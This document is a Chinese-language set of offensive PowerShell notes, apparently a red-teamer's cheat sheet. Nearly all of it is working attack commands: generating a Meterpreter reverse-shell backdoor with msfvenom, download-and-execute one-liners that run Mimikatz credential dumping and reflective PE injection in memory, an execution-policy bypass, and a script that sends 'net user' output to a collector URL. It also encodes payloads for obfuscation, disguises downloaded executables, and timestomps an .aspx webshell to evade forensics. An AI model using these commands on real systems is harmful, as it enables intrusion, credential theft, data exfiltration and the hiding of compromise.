Powershell使用
msf生成后门:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=8080 --arch x64 --platform windows -f psh-reflection -o test.ps1
远程下载加载到内存执行:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.1/want.ps1');Invoke-Mimikatz -DumpCreds"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://1.1.1.1.1/test.ps1')"
powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.1/want.ps1');Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/16-032.exe -ExeArgs 'whoami' -ForceASLR"
修改执行策略,不然运行ps1脚本的时候会提示不让运行:
Set-ExecutionPolicy -ExecutionPolicy Bypass
混淆相关笔记:
# 记得更改url的信息,只改ip和端口,后面的login不用更改,更改后无法正常接收
$url = "http://127.0.0.1:8080/login"
#$result = &"net user" # 这是另一种powershell下将变量当作命令执行的方式
$result = Invoke-Expression "net user" #这是要执行的命令
$resultString = $result | Out-String
$base64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($resultString))
$resultBytes = [System.Convert]::FromBase64String($base64)
Invoke-WebRequest -UseBasicParsing $url -Method POST -Body $resultBytes
$content = Get-Content -Path "C:\Users\Dev\Desktop\1.txt" -Raw # 这是上面powershell的内容保存为一个txt文件的目录信息
$base64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($content))
Write-Host "powershell -enc" $base64
#powershell.exe -enc $base64
Powershell远程下载
powershell Invoke-WebRequest -Uri http://1.1.1.1/222.pdf -OutFile c:\users\public\host.exe
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://www.google.com/dwm.txt','C:\Windows\temp\12.txt')
通过powershell来修改文件的创建时间,更改时间,读取时间等,这个操作好像在低权限下也能运行:
# 进入到powershell命令行或者在命令前面加powershell
$(Get-Item 123.aspx).Creationtime=$(Get-Date "12/06/2021 20:42:11")
$(Get-Item 123.aspx).lastaccesstime=$(Get-Date "12/06/2021 20:42:11")
$(Get-Item 123.aspx).lastwritetime=$(Get-Date "12/06/2021 20:42:11")